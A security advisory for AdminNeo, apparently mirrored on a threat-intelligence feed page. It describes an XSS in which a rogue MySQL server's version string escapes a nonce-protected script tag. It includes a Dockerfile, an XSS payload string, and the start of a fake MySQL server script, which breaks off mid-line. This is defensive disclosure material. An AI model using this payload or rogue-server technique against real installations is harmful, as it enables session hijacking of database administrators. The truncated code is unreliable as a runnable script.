GHSA-rx7m-wxwq-vxr9 - AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
## Summary
AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
## Prerequisites
- Target runs AdminNeo
- Attacker controls a reachable MySQL server (a 80-line Python script)
## Root Cause
`admin/core/Admin.php`, lines 1285-1286:
```php
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
```
`script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped.
## Steps To Reproduce
### 1. Build the environment
**Dockerfile** (AdminNeo):
```dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
```
**rogue_mysql.py** (fake MySQL server that accepts any login):
```python
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I
HIGH
Severity & confidence
Source severityhigh
Platform severityhigh
Confidencemedium
Exploitationunknown
CVSS-
Affected
Vendorsadminneo-org
Productsadminneo-org/adminneo
Reporting sources (1)
GitHub Security Advisories
Timeline & provenance
Published2026-10-30T22:52:23
Last updated2026-11-09T09:51:15
Ingested2026-10-30T22:59:15
FreshnessNEAR-REAL-TIME
Threat typeadvisory
Recommended action
Review the advisory and upgrade affected packages to the first patched version.
Next steps
- Identify affected systems in your environment.
- Apply the vendor patch or mitigation guidance.
- Review logs for indicators described in the advisory.
- Follow the affected vendor/product to track updates.
Confidence explanation
Reported by a single or secondary source; treat as indicative, verify before acting.
Source type: vendor ยท Original: GitHub Security Advisories